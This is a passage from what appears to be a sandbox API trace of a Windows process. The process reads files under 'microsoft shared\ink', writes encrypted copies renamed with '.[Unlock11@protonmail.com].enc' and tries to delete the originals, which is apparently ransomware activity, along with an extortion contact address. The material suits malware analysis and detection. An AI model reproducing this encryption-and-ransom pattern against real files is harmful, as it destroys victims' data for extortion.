lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0121.080] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea318 [0121.080] GetLastError () returned 0x0 [0121.080] GetLastError () returned 0x0 [0121.080] GetLastError () returned 0x0 [0121.080] GetLastError () returned 0x0 [0121.080] GetCurrentThreadId () returned 0x9b0 [0121.080] GetLastError () returned 0x0 [0121.080] GetCurrentThreadId () returned 0x9b0 [0121.080] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea318 | out: hHeap=0x2ad0000) returned 1 [0121.080] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea1d8 [0121.081] GetLastError () returned 0x0 [0121.081] GetLastError () returned 0x0 [0121.081] GetLastError () returned 0x0 [0121.081] GetLastError () returned 0x0 [0121.081] GetCurrentThreadId () returned 0x9b0 [0121.081] GetLastError () returned 0x0 [0121.081] GetLastError () returned 0x0 [0121.081] GetLastError () returned 0x0 [0121.081] GetLastError () returned 0x0 [0121.081] GetLastError () returned 0x0 [0121.081] GetCurrentThreadId () returned 0x9b0 [0121.082] GetLastError () returned 0x0 [0121.082] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea1d8 | out: hHeap=0x2ad0000) returned 1 [0121.082] GetLastError () returned 0x0 [0121.082] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6528 | out: hHeap=0x2ad0000) returned 1 [0121.082] GetLastError () returned 0x0 [0121.082] GetLastError () returned 0x0 [0121.082] GetLastError () returned 0x0 [0121.082] GetCurrentThreadId () returned 0x9b0 [0121.082] GetLastError () returned 0x0 [0121.082] GetCurrentThreadId () returned 0x9b0 [0121.082] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8aae8 [0121.083] GetLastError () returned 0x0 [0121.083] GetLastError () returned 0x0 [0121.083] GetLastError () returned 0x0 [0121.083] GetLastError () returned 0x0 [0121.083] GetCurrentThreadId () returned 0x9b0 [0121.083] GetLastError () returned 0x0 [0121.083] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aae8 | out: hHeap=0x2ad0000) returned 1 [0121.083] GetLastError () returned 0x0 [0121.083] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6078 | out: hHeap=0x2ad0000) returned 1 [0121.083] GetLastError () returned 0x0 [0121.083] GetLastError () returned 0x0 [0121.084] GetLastError () returned 0x0 [0121.084] GetCurrentThreadId () returned 0x9b0 [0121.084] GetLastError () returned 0x0 [0121.084] GetLastError () returned 0x0 [0121.084] GetLastError () returned 0x0 [0121.084] GetLastError () returned 0x0 [0121.084] GetLastError () returned 0x0 [0121.084] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0121.084] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa44)) returned 1 [0121.085] GetLastError () returned 0x0 [0121.085] GetCurrentThreadId () returned 0x9b0 [0121.085] GetLastError () returned 0x0 [0121.085] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887530 | out: hHeap=0x2ad0000) returned 1 [0121.085] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ae6c | out: pbBuffer=0x366ae6c) returned 1 [0121.085] GetCurrentThreadId () returned 0x9b0 [0121.086] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0121.086] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0121.086] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0121.086] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea200 [0121.086] GetLastError () returned 0x0 [0121.086] GetLastError () returned 0x0 [0121.086] GetLastError () returned 0x0 [0121.086] GetLastError () returned 0x0 [0121.086] GetCurrentThreadId () returned 0x9b0 [0121.086] GetLastError () returned 0x0 [0121.086] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea200 | out: hHeap=0x2ad0000) returned 1 [0121.087] GetCurrentThreadId () returned 0x9b0 [0121.087] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea520 [0121.087] GetLastError () returned 0x0 [0121.087] GetLastError () returned 0x0 [0121.087] GetLastError () returned 0x0 [0121.087] GetLastError () returned 0x0 [0121.087] GetCurrentThreadId () returned 0x9b0 [0121.087] GetLastError () returned 0x0 [0121.087] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea520 | out: hHeap=0x2ad0000) returned 1 [0121.087] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de5d8 [0121.088] GetCurrentThreadId () returned 0x9b0 [0121.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5e18 | out: hHeap=0x2ad0000) returned 1 [0121.088] GetLastError () returned 0x0 [0121.088] GetLastError () returned 0x0 [0121.088] GetLastError () returned 0x0 [0121.088] GetLastError () returned 0x0 [0121.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0121.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de648 [0121.088] GetLastError () returned 0x0 [0121.088] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0121.089] GetFileType (hFile=0x39c) returned 0x1 [0121.089] GetLastError () returned 0x0 [0121.089] GetCurrentThreadId () returned 0x9b0 [0121.089] GetLastError () returned 0x0 [0121.089] GetFileType (hFile=0x39c) returned 0x1 [0121.089] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.089] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.089] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.089] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.089] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.089] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.090] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.090] GetLastError () returned 0x0 [0121.090] GetCurrentThreadId () returned 0x9b0 [0121.090] GetLastError () returned 0x0 [0121.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de648 | out: hHeap=0x2ad0000) returned 1 [0121.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887410 | out: hHeap=0x2ad0000) returned 1 [0121.090] GetLastError () returned 0x0 [0121.090] GetLastError () returned 0x0 [0121.090] GetLastError () returned 0x0 [0121.090] GetLastError () returned 0x0 [0121.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0121.091] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de4b8 [0121.091] GetLastError () returned 0x0 [0121.091] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0121.091] GetFileType (hFile=0x3ac) returned 0x1 [0121.091] GetLastError () returned 0x0 [0121.091] GetCurrentThreadId () returned 0x9b0 [0121.091] GetLastError () returned 0x0 [0121.091] GetFileType (hFile=0x3ac) returned 0x1 [0121.092] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.092] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.092] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.092] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.092] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.092] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.092] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.092] GetLastError () returned 0x0 [0121.092] GetCurrentThreadId () returned 0x9b0 [0121.092] GetLastError () returned 0x0 [0121.092] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4b8 | out: hHeap=0x2ad0000) returned 1 [0121.092] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de6e8 | out: hHeap=0x2ad0000) returned 1 [0121.093] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0121.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0121.093] GetLastError () returned 0x0 [0121.093] GetLastError () returned 0x0 [0121.093] GetCurrentThreadId () returned 0x9b0 [0121.093] GetLastError () returned 0x0 [0121.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0121.093] GetLastError () returned 0x0 [0121.093] GetLastError () returned 0x0 [0121.093] GetCurrentThreadId () returned 0x9b0 [0121.093] GetLastError () returned 0x0 [0121.094] GetLastError () returned 0x0 [0121.095] GetLastError () returned 0x0 [0121.095] GetCurrentThreadId () returned 0x9b0 [0121.095] GetLastError () returned 0x0 [0121.095] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5d8 | out: hHeap=0x2ad0000) returned 1 [0121.095] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xa68) returned 0x382cb08 [0121.096] GetCurrentThreadId () returned 0x9b0 [0121.096] GetLastError () returned 0x0 [0121.096] GetLastError () returned 0x0 [0121.096] GetLastError () returned 0x0 [0121.096] GetLastError () returned 0x0 [0121.096] GetCurrentThreadId () returned 0x9b0 [0121.096] GetLastError () returned 0x0 [0121.096] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cb08 | out: hHeap=0x2ad0000) returned 1 [0121.096] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0121.097] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0121.097] GetLastError () returned 0x0 [0121.097] GetLastError () returned 0x0 [0121.097] GetCurrentThreadId () returned 0x9b0 [0121.097] GetLastError () returned 0x0 [0121.097] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b99e0 | out: hHeap=0x2ad0000) returned 1 [0121.097] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8fb8 [0121.097] GetLastError () returned 0x0 [0121.097] GetLastError () returned 0x0 [0121.097] GetCurrentThreadId () returned 0x9b0 [0121.097] GetLastError () returned 0x0 [0121.098] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8fb8 | out: hHeap=0x2ad0000) returned 1 [0121.098] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.098] GetLastError () returned 0x0 [0121.099] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0121.099] CloseHandle (hObject=0x3ac) returned 1 [0121.099] GetLastError () returned 0x0 [0121.099] GetCurrentThreadId () returned 0x9b0 [0121.099] GetLastError () returned 0x0 [0121.099] GetLastError () returned 0x0 [0121.099] CloseHandle (hObject=0x39c) returned 1 [0121.100] GetLastError () returned 0x0 [0121.100] GetCurrentThreadId () returned 0x9b0 [0121.100] GetLastError () returned 0x0 [0121.100] GetLastError () returned 0x0 [0121.100] GetLastError () returned 0x0 [0121.100] GetLastError () returned 0x0 [0121.100] GetLastError () returned 0x0 [0121.100] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml")) returned 0 [0121.100] GetLastError () returned 0x5 [0121.101] GetCurrentThreadId () returned 0x9b0 [0121.101] GetLastError () returned 0x5 [0121.101] GetLastError () returned 0x5 [0121.101] GetLastError () returned 0x5 [0121.101] GetLastError () returned 0x5 [0121.101] LocalFree (hMem=0x1053a70) returned 0x0 [0121.101] GetLastError () returned 0x5 [0121.101] GetLastError () returned 0x5 [0121.101] GetLastError () returned 0x5 [0121.101] GetLastError () returned 0x5 [0121.102] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml", lpFilePart=0x9bada4*="ipshe.xml") returned 0x3c [0121.102] GetCurrentThreadId () returned 0x9b0 [0121.102] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0121.102] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0121.102] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0121.102] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0121.102] GetCurrentThreadId () returned 0x9b0 [0121.102] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea408 [0121.102] GetLastError () returned 0x0 [0121.102] GetLastError () returned 0x0 [0121.103] GetLastError () returned 0x0 [0121.103] GetLastError () returned 0x0 [0121.103] GetCurrentThreadId () returned 0x9b0 [0121.103] GetLastError () returned 0x0 [0121.103] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea408 | out: hHeap=0x2ad0000) returned 1 [0121.103] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea138 [0121.103] GetLastError () returned 0x0 [0121.103] GetLastError () returned 0x0 [0121.103] GetLastError () returned 0x0 [0121.103] GetLastError () returned 0x0 [0121.103] GetCurrentThreadId () returned 0x9b0 [0121.103] GetLastError () returned 0x0 [0121.104] GetCurrentThreadId () returned 0x9b0 [0121.104] GetLastError () returned 0x0 [0121.104] GetLastError () returned 0x0 [0121.104] GetLastError () returned 0x0 [0121.104] GetLastError () returned 0x0 [0121.104] GetCurrentThreadId () returned 0x9b0 [0121.104] GetLastError () returned 0x0 [0121.104] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea138 | out: hHeap=0x2ad0000) returned 1 [0121.104] GetLastError () returned 0x0 [0121.105] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6690 | out: hHeap=0x2ad0000) returned 1 [0121.105] GetLastError () returned 0x0 [0121.105] GetLastError () returned 0x0 [0121.105] GetLastError () returned 0x0 [0121.105] GetCurrentThreadId () returned 0x9b0 [0121.105] GetLastError () returned 0x0 [0121.105] GetLastError () returned 0x0 [0121.105] GetLastError () returned 0x0 [0121.105] GetLastError () returned 0x0 [0121.105] GetLastError () returned 0x0 [0121.105] GetCurrentThreadId () returned 0x9b0 [0121.105] GetLastError () returned 0x0 [0121.106] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a868 | out: hHeap=0x2ad0000) returned 1 [0121.106] GetLastError () returned 0x0 [0121.106] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6618 | out: hHeap=0x2ad0000) returned 1 [0121.106] GetLastError () returned 0x0 [0121.106] GetLastError () returned 0x0 [0121.106] GetLastError () returned 0x0 [0121.106] GetCurrentThreadId () returned 0x9b0 [0121.106] GetLastError () returned 0x0 [0121.106] GetLastError () returned 0x0 [0121.106] GetLastError () returned 0x0 [0121.106] GetLastError () returned 0x0 [0121.107] GetLastError () returned 0x0 [0121.107] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0121.107] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9e4)) returned 1 [0121.107] GetLastError () returned 0x0 [0121.107] GetCurrentThreadId () returned 0x9b0 [0121.107] GetLastError () returned 0x0 [0121.107] GetCurrentThreadId () returned 0x9b0 [0121.107] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366aee4 | out: pbBuffer=0x366aee4) returned 1 [0121.107] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0121.107] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0121.108] GetCurrentThreadId () returned 0x9b0 [0121.108] GetCurrentThreadId () returned 0x9b0 [0121.108] GetLastError () returned 0x0 [0121.108] GetCurrentThreadId () returned 0x9b0 [0121.108] GetLastError () returned 0x0 [0121.108] GetCurrentThreadId () returned 0x9b0 [0121.108] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de628 [0121.108] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0121.109] GetFileType (hFile=0x39c) returned 0x1 [0121.109] GetCurrentThreadId () returned 0x9b0 [0121.109] GetLastError () returned 0x0 [0121.109] GetFileType (hFile=0x39c) returned 0x1 [0121.109] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.109] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.109] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.109] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.109] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.109] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.109] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.109] GetCurrentThreadId () returned 0x9b0 [0121.109] GetLastError () returned 0x0 [0121.110] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0121.110] GetFileType (hFile=0x3ac) returned 0x1 [0121.110] GetCurrentThreadId () returned 0x9b0 [0121.110] GetLastError () returned 0x0 [0121.110] GetFileType (hFile=0x3ac) returned 0x1 [0121.110] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.110] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.110] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.110] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.111] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.111] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.111] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.111] GetCurrentThreadId () returned 0x9b0 [0121.111] GetLastError () returned 0x0 [0121.111] GetCurrentThreadId () returned 0x9b0 [0121.111] GetLastError () returned 0x0 [0121.111] GetCurrentThreadId () returned 0x9b0 [0121.111] GetLastError () returned 0x0 [0121.113] GetCurrentThreadId () returned 0x9b0 [0121.113] GetLastError () returned 0x0 [0121.113] GetCurrentThreadId () returned 0x9b0 [0121.113] GetCurrentThreadId () returned 0x9b0 [0121.113] GetLastError () returned 0x0 [0121.113] GetCurrentThreadId () returned 0x9b0 [0121.113] GetLastError () returned 0x0 [0121.113] GetCurrentThreadId () returned 0x9b0 [0121.113] GetLastError () returned 0x0 [0121.114] CloseHandle (hObject=0x3ac) returned 1 [0121.114] GetCurrentThreadId () returned 0x9b0 [0121.114] GetLastError () returned 0x0 [0121.114] CloseHandle (hObject=0x39c) returned 1 [0121.115] GetCurrentThreadId () returned 0x9b0 [0121.115] GetLastError () returned 0x0 [0121.115] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml")) returned 0 [0121.115] GetLastError () returned 0x5 [0121.115] GetCurrentThreadId () returned 0x9b0 [0121.115] GetLastError () returned 0x5 [0121.115] GetLastError () returned 0x5 [0121.115] GetLastError () returned 0x5 [0121.115] GetLastError () returned 0x5 [0121.116] LocalFree (hMem=0x1053cb0) returned 0x0 [0121.116] GetCurrentThreadId () returned 0x9b0 [0121.116] GetLastError () returned 0x5 [0121.116] GetLastError () returned 0x5 [0121.116] GetLastError () returned 0x5 [0121.116] GetLastError () returned 0x5 [0121.116] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml", lpFilePart=0x9bada4*="ipshi.xml") returned 0x3c [0121.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0121.117] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0121.117] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0121.117] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0121.117] GetCurrentThreadId () returned 0x9b0 [0121.117] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea0c0 [0121.117] GetLastError () returned 0x0 [0121.117] GetLastError () returned 0x0 [0121.117] GetLastError () returned 0x0 [0121.117] GetLastError () returned 0x0 [0121.117] GetCurrentThreadId () returned 0x9b0 [0121.118] GetLastError () returned 0x0 [0121.118] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea0c0 | out: hHeap=0x2ad0000) returned 1 [0121.118] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea408 [0121.118] GetLastError () returned 0x0 [0121.118] GetLastError () returned 0x0 [0121.118] GetLastError () returned 0x0 [0121.118] GetLastError () returned 0x0 [0121.118] GetCurrentThreadId () returned 0x9b0 [0121.118] GetLastError () returned 0x0 [0121.118] GetCurrentThreadId () returned 0x9b0 [0121.118] GetLastError () returned 0x0 [0121.119] GetLastError () returned 0x0 [0121.119] GetLastError () returned 0x0 [0121.119] GetLastError () returned 0x0 [0121.119] GetCurrentThreadId () returned 0x9b0 [0121.119] GetLastError () returned 0x0 [0121.119] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea408 | out: hHeap=0x2ad0000) returned 1 [0121.119] GetLastError () returned 0x0 [0121.119] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6780 | out: hHeap=0x2ad0000) returned 1 [0121.119] GetLastError () returned 0x0 [0121.119] GetLastError () returned 0x0 [0121.119] GetLastError () returned 0x0 [0121.120] GetCurrentThreadId () returned 0x9b0 [0121.120] GetLastError () returned 0x0 [0121.120] GetLastError () returned 0x0 [0121.120] GetLastError () returned 0x0 [0121.120] GetLastError () returned 0x0 [0121.120] GetLastError () returned 0x0 [0121.120] GetCurrentThreadId () returned 0x9b0 [0121.120] GetLastError () returned 0x0 [0121.120] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a8a8 | out: hHeap=0x2ad0000) returned 1 [0121.120] GetCurrentThreadId () returned 0x9b0 [0121.120] GetLastError () returned 0x0 [0121.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0121.121] GetLastError () returned 0x0 [0121.121] GetLastError () returned 0x0 [0121.121] GetLastError () returned 0x0 [0121.121] GetCurrentThreadId () returned 0x9b0 [0121.121] GetLastError () returned 0x0 [0121.121] GetLastError () returned 0x0 [0121.121] GetLastError () returned 0x0 [0121.121] GetLastError () returned 0x0 [0121.121] GetLastError () returned 0x0 [0121.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0121.122] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, 